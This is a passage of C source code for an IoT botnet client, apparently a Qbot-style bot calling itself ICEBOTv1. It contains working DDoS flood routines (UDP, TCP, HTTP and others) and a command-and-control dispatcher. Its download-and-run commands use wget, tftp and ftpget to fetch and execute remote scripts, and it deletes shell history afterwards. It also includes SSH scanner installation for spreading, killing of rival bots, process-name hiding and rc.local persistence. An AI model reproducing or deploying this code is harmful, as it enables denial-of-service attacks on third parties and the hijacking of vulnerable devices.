  3026. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  3027. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  3028. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  3029. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  3030. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  3031. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  3032. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3033. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  3034. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  3035. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  3036. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  3037. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3038. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  3039. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  3040. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3041. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  3042. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  3043. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  3044. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  3045. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  3046. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  3047. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  3048. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  3049. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3050. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  3051. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  3052. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  3053. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  3054. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  3055. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  3056. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3057. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  3058. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  3059. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3060. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  3061. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3062. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  3063. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  3064. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3065. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  3066. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3067. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  3068. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  3069. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  3070. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  3071. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  3072. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  3073. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  3074. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  3075. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  3076. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3077. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  3078. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  3079. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  3080. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  3081. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  3082. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  3083. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3084. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  3085. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  3086. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3087. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  3088. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  3089. "Wget/1.12 (linux-gnu)",
  3090. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  3091. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  3092. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  3093. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  3094. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  3095. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  3096. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  3097. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  3098. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  3099. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  3100. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3101. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  3102. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  3103. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  3104. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  3105. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  3106. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  3107. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  3108. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3109. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  3110. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  3111. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  3112. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  3113. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  3114. };
  3115.  
  3116. const char *connections[] = {"close", "keep-alive", "accept"};
  3117.  
  3118. int i, timeEnd = time(NULL) + timeFoo;
  3119. char request[512];
  3120.  
  3121. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
  3122.  
  3123. for (i = 0; i < power; i++) {
  3124. if (fork()) {
  3125. while (timeEnd > time(NULL)) {
  3126. int socket = socket_connect((char *)host, port);
  3127. if (socket != 0) {
  3128. write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
  3129. close(socket);
  3130. }
  3131. }
  3132. _exit(1);
  3133. }
  3134. }
  3135. }
  3136.  
  3137.  
  3138. void sendCNC(unsigned char *ip,int port, int end_time)
  3139. {
  3140. int end = time(NULL) + end_time;
  3141. int sockfd;
  3142. struct sockaddr_in server;
  3143. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  3144.  
  3145. server.sin_addr.s_addr = inet_addr(ip);
  3146. server.sin_family = AF_INET;
  3147. server.sin_port = htons(port);
  3148.  
  3149. while(end > time(NULL))
  3150. {
  3151. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  3152. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  3153. sleep(1);
  3154. close(sockfd);
  3155. }
  3156.  
  3157. }
  3158.  
  3159. void UpdateBins()
  3160. {
  3161. int pid;
  3162.  
  3163. if ( (pid = fork()) == 0) {
  3164. system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://0.0.0.0/shitty.sh; chmod 777 shitty.sh; sh shitty.sh; tftp 0.0.0.0 -c get shtftp1.sh; chmod 777 shtftp1.sh; sh shtftp1.sh; tftp -r shtftp2.sh -g 0.0.0.0; chmod 777 shtftp2.sh; sh shtftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf shitty.sh shtftp1.sh shtftp2.sh ftp1.sh; rm -rf *; history -c");
  3165. sleep(20); //sleeping for 20 dont wanna kill all your bots.
  3166. } else {
  3167. printf("%d\n", pid);
  3168. }
  3169.  
  3170. return;
  3171. }
  3172.  
  3173. void processCmd(int argc, unsigned char *argv[])
  3174. {
  3175.  
  3176. if(!strcmp(argv[0], "PYTHON")) //Thanks to B1NARY for the python scanner :P
  3177. {
  3178. if(!strcmp(argv[1], "INSTALL"))
  3179. {
  3180. system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 0.0.0.0/good2.py");
  3181. ClearHistory();
  3182. sockprintf(mainCommSock, "INSTALLING PYTHON SCANNER");
  3183. }
  3184. if(!strcmp(argv[1], "UPDATE"))
  3185. {
  3186. system("cd /.tmp;rm -rf *py;wget 0.0.0.0/good2.py");
  3187. ClearHistory();
  3188. sockprintf(mainCommSock, "UPDATING PYTHON SCANNER");
  3189. }
  3190. if(!strcmp(argv[1], "OFF"))
  3191. {
  3192. system("killall -9 python;pkill python");
  3193. ClearHistory();
  3194. sockprintf(mainCommSock, "STOPPING PYTHON SCANNER");
  3195. }
  3196. if(!strcmp(argv[1], "START"))
  3197. {
  3198. system("cd /.tmp;python good2.py 1000 LUCKY 1 3");
  3199. ClearHistory();
  3200. sockprintf(mainCommSock, "STARTING VOIDS HACKA SCANNA");
  3201. }
  3202.  
  3203. }
  3204.  
  3205. if(!strcmp(argv[0], "PING"))
  3206. {
  3207. sockprintf(mainCommSock, "PONG!");
  3208. return;
  3209. }
  3210.  
  3211. if(!strcmp(argv[0], "TABLE"))
  3212. {
  3213. sockprintf(mainCommSock, "%d", getdtablesize());
  3214. return;
  3215. }
  3216.  
  3217. if(!strcmp(argv[0], "UPDATE"))
  3218. {
  3219. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  3220. UpdateBins(1);
  3221. return;
  3222. }
  3223.  
  3224. if(!strcmp(argv[0], "SCANNER"))
  3225. {
  3226. if(!strcmp(argv[1], "OFF"))
  3227. {
  3228. if(scanPid == 0) return;
  3229. kill(scanPid, 9);
  3230. sockprintf(mainCommSock, "STOPPING SCANNER");
  3231. scanPid = 0;
  3232. }
  3233. if(!strcmp(argv[1], "ON"))
  3234. {
  3235. if(scanPid != 0) return;
  3236. uint32_t parent;
  3237. parent = fork();
  3238. int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
  3239. int timeout = 10;
  3240. if (parent > 0) { scanPid = parent; return;}
  3241. else if(parent == -1) return;
  3242. sockprintf(mainCommSock, "Infecting -> %s To Your Net", inet_ntoa(ourIP));
  3243. StartTheLelz(timeout, threads);
  3244. _exit(0);
  3245. }
  3246. }
  3247.  
  3248. if(!strcmp(argv[0], "REMOVER"))
  3249. {
  3250. if(!listFork())
  3251. {
  3252. sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
  3253. botkiller();
  3254. _exit(0);
  3255. }
  3256. }
  3257.  
  3258. if(!strcmp(argv[0], "GETPUBLICIP"))
  3259. {
  3260. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  3261. return;
  3262. }
  3263.  
  3264. if(!strcmp(argv[0], "HOLD"))
  3265. {
  3266. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3267. {
  3268. return;
  3269. }
  3270. unsigned char *ip = argv[1];
  3271. int port = atoi(argv[2]);
  3272. int time = atoi(argv[3]);
  3273. if(strstr(ip, ",") != NULL)
  3274. {
  3275. unsigned char *hi = strtok(ip, ",");
  3276. while(hi != NULL)
  3277. {
  3278. if(!listFork())
  3279. {
  3280. sendHOLD(hi, port, time);
  3281. _exit(0);
  3282. }
  3283. hi = strtok(NULL, ",");
  3284. }
  3285. } else {
  3286. if (listFork()) { return; }
  3287. sendHOLD(ip, port, time);
  3288. _exit(0);
  3289. }
  3290. }
  3291. if(!strcmp(argv[0], "JUNK"))
  3292. {
  3293. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3294. {
  3295. return;
  3296. }
  3297. unsigned char *ip = argv[1];
  3298. int port = atoi(argv[2]);
  3299. int time = atoi(argv[3]);
  3300. if(strstr(ip, ",") != NULL)
  3301. {
  3302. unsigned char *hi = strtok(ip, ",");
  3303. while(hi != NULL)
  3304. {
  3305. if(!listFork())
  3306. {
  3307. sendJUNK(hi, port, time);
  3308. close(mainCommSock);
  3309. _exit(0);
  3310. }
  3311. hi = strtok(NULL, ",");
  3312. }
  3313. } else {
  3314. if (listFork()) { return; }
  3315. sendJUNK(ip, port, time);
  3316. _exit(0);
  3317. }
  3318. }
  3319.  
  3320. if(!strcmp(argv[0], "UDP"))
  3321. {
  3322. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  3323. {
  3324. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  3325. return;
  3326. }
  3327.  
  3328. unsigned char *ip = argv[1];
  3329. int port = atoi(argv[2]);
  3330. int time = atoi(argv[3]);
  3331. int spoofed = atoi(argv[4]);
  3332. int packetsize = atoi(argv[5]);
  3333. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  3334. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  3335. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  3336.  
  3337. if(strstr(ip, ",") != NULL)
  3338. {
  3339. unsigned char *hi = strtok(ip, ",");
  3340. while(hi != NULL)
  3341. {
  3342. if(!listFork())
  3343. {
  3344. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  3345. _exit(0);
  3346. }
  3347. hi = strtok(NULL, ",");
  3348. }
  3349. } else {
  3350. if (!listFork()){
  3351. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  3352. _exit(0);
  3353. }
  3354. }
  3355. return;
  3356. }
  3357.  
  3358. if(!strcmp(argv[0], "TCP"))
  3359. {
  3360. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  3361. {
  3362. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  3363. return;
  3364. }
  3365.  
  3366. unsigned char *ip = argv[1];
  3367. int port = atoi(argv[2]);
  3368. int time = atoi(argv[3]);
  3369. int spoofed = atoi(argv[4]);
  3370. unsigned char *flags = argv[5];
  3371.  
  3372. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  3373. int psize = argc > 6 ? atoi(argv[6]) : 0;
  3374.  
  3375. if(strstr(ip, ",") != NULL)
  3376. {
  3377. unsigned char *hi = strtok(ip, ",");
  3378. while(hi != NULL)
  3379. {
  3380. if(!listFork())
  3381. {
  3382. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  3383. _exit(0);
  3384. }
  3385. hi = strtok(NULL, ",");
  3386. }
  3387. } else {
  3388. if (!listFork()) {
  3389. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  3390. _exit(0);
  3391. }
  3392. }
  3393. }
  3394. if (!strcmp((const char *)argv[0], "HTTP")) {
  3395. if (argc < 6)
  3396. {
  3397. return;
  3398. }
  3399.  
  3400. if (strstr((const char *)argv[1], ",") != NULL) {
  3401. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  3402. while (hi != NULL) {
  3403. if (!listFork()) {
  3404. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  3405. _exit(0);
  3406. }
  3407. hi = (unsigned char *)strtok(NULL, ",");
  3408. }
  3409. } else {
  3410. if (listFork()) {
  3411. return;
  3412. }
  3413. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  3414. _exit(0);
  3415. }
  3416. }
  3417.  
  3418. if(!strcmp(argv[0], "CNC"))
  3419. {
  3420. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3421. {
  3422. sockprintf(mainCommSock, "CNC <target> <port> <time>");
  3423. return;
  3424. }
  3425.  
  3426. unsigned char *ip = argv[1];
  3427. int port = atoi(argv[2]);
  3428. int time = atoi(argv[3]);
  3429.  
  3430. if(strstr(ip, ",") != NULL)
  3431. {
  3432. unsigned char *hi = strtok(ip, ",");
  3433. while(hi != NULL)
  3434. {
  3435. if(!listFork())
  3436. {
  3437. sendCNC(hi, port, time);
  3438. close(mainCommSock);
  3439. _exit(0);
  3440. }
  3441. hi = strtok(NULL, ",");
  3442. }
  3443. } else {
  3444. if (listFork()) { return; }
  3445.  
  3446. sendCNC(ip, port, time);
  3447. _exit(0);
  3448. }
  3449. }
  3450.  
  3451. if(!strcmp(argv[0], "STD"))
  3452. {
  3453. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3454. {
  3455. sockprintf(mainCommSock, "STD <target> <port> <time>");
  3456. return;
  3457. }
  3458.  
  3459. unsigned char *ip = argv[1];
  3460. int port = atoi(argv[2]);
  3461. int time = atoi(argv[3]);
  3462.  
  3463. if(strstr(ip, ",") != NULL)
  3464. {
  3465. unsigned char *hi = strtok(ip, ",");
  3466. while(hi != NULL)
  3467. {
  3468. if(!listFork())
  3469. {
  3470. sendSTD(hi, port, time);
  3471. _exit(0);
  3472. }
  3473. hi = strtok(NULL, ",");
  3474. }
  3475. } else {
  3476. if (listFork()) { return; }
  3477.  
  3478. sendSTD(ip, port, time);
  3479. _exit(0);
  3480. }
  3481.  
  3482. }
  3483.  
  3484. if(!strcmp(argv[0], "KILLATTK"))
  3485. {
  3486. int killed = 0;
  3487. unsigned long i;
  3488. for (i = 0; i < numpids; i++) {
  3489. if (pids[i] != 0 && pids[i] != getpid()) {
  3490. kill(pids[i], 9);
  3491. killed++;
  3492. }
  3493. }
  3494.  
  3495. if(killed > 0)
  3496. {
  3497. sockprintf(mainCommSock, "Killed %d.", killed);
  3498. } else {
  3499. sockprintf(mainCommSock, "None Killed.");
  3500. }
  3501. }
  3502.  
  3503. if(!strcmp(argv[0], "LOLNOGTFO"))
  3504. {
  3505. exit(0);
  3506. }
  3507. }
  3508.  
  3509. int initConnection()
  3510. {
  3511. unsigned char server[4096];
  3512. memset(server, 0, 4096);
  3513. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  3514. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  3515. else currentServer++;
  3516.  
  3517. strcpy(server, PromServer[currentServer]);
  3518. int port = 666;
  3519. if(strchr(server, ':') != NULL)
  3520. {
  3521. port = atoi(strchr(server, ':') + 1);
  3522. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3523. }
  3524.  
  3525. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  3526.  
  3527. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  3528.  
  3529. return 0;
  3530. }
  3531.  
  3532. int getOurIP()
  3533. {
  3534. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3535. if(sock == -1) return 0;
  3536.  
  3537. struct sockaddr_in serv;
  3538. memset(&serv, 0, sizeof(serv));
  3539. serv.sin_family = AF_INET;
  3540. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3541. serv.sin_port = htons(53);
  3542.  
  3543. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3544. if(err == -1) return 0;
  3545.  
  3546. struct sockaddr_in name;
  3547. socklen_t namelen = sizeof(name);
  3548. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3549. if(err == -1) return 0;
  3550.  
  3551. ourIP.s_addr = name.sin_addr.s_addr;
  3552.  
  3553. int cmdline = open("/proc/net/route", O_RDONLY);
  3554. char linebuf[4096];
  3555. while(fdgets(linebuf, 4096, cmdline) != NULL)
  3556. {
  3557. if(strstr(linebuf, "\t00000000\t") != NULL)
  3558. {
  3559. unsigned char *pos = linebuf;
  3560. while(*pos != '\t') pos++;
  3561. *pos = 0;
  3562. break;
  3563. }
  3564. memset(linebuf, 0, 4096);
  3565. }
  3566. close(cmdline);
  3567.  
  3568. if(*linebuf)
  3569. {
  3570. int i;
  3571. struct ifreq ifr;
  3572. strcpy(ifr.ifr_name, linebuf);
  3573. ioctl(sock, SIOCGIFHWADDR, &ifr);
  3574. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3575. }
  3576.  
  3577. close(sock);
  3578. }
  3579.  
  3580. char *getBuild()
  3581. {
  3582. #ifdef MIPS_BUILD
  3583. return "MIPS";
  3584. #elif MIPSEL_BUILD
  3585. return "MIPSEL";
  3586. #elif X86_BUILD
  3587. return "X86";
  3588. #elif ARM_BUILD
  3589. return "ARM";
  3590. #elif PPC_BUILD
  3591. return "POWERPC";
  3592. #else
  3593. return "ICEBOTv1";
  3594. #endif
  3595. }
  3596.  
  3597. int main(int argc, unsigned char *argv[])
  3598. {
  3599. char *mynameis = "";
  3600. if(SERVER_LIST_SIZE <= 0) return 0;
  3601. strncpy(argv[0],"",strlen(argv[0]));
  3602. argv[0] = "";
  3603. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  3604. srand(time(NULL) ^ getpid());
  3605. init_rand(time(NULL) ^ getpid());
  3606. pid_t pid1;
  3607. pid_t pid2;
  3608. int status;
  3609. int dupthing = 0;
  3610.  
  3611. char cwd[256],*str;
  3612. FILE *file;
  3613. str="/etc/rc.d/rc.local";
  3614. file=fopen(str,"r");
  3615. if (file == NULL) {
  3616. str="/etc/rc.conf";
  3617. file=fopen(str,"r");
  3618. }
  3619. if (file != NULL) {
  3620. char outfile[256], buf[1024];
  3621. int i=strlen(argv[0]), d=0;
  3622. getcwd(cwd,256);
  3623. if (strcmp(cwd,"/")) {
  3624. while(argv[0][i] != '/') i--;
  3625. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  3626. while(!feof(file)) {
  3627. fgets(buf,1024,file);
  3628. if (!strcasecmp(buf,outfile)) d++;
  3629. }
  3630. if (d == 0) {
  3631. FILE *out;
  3632. fclose(file);
  3633. out=fopen(str,"a");
  3634. if (out != NULL) {
  3635. fputs(outfile,out);
  3636. fclose(out);
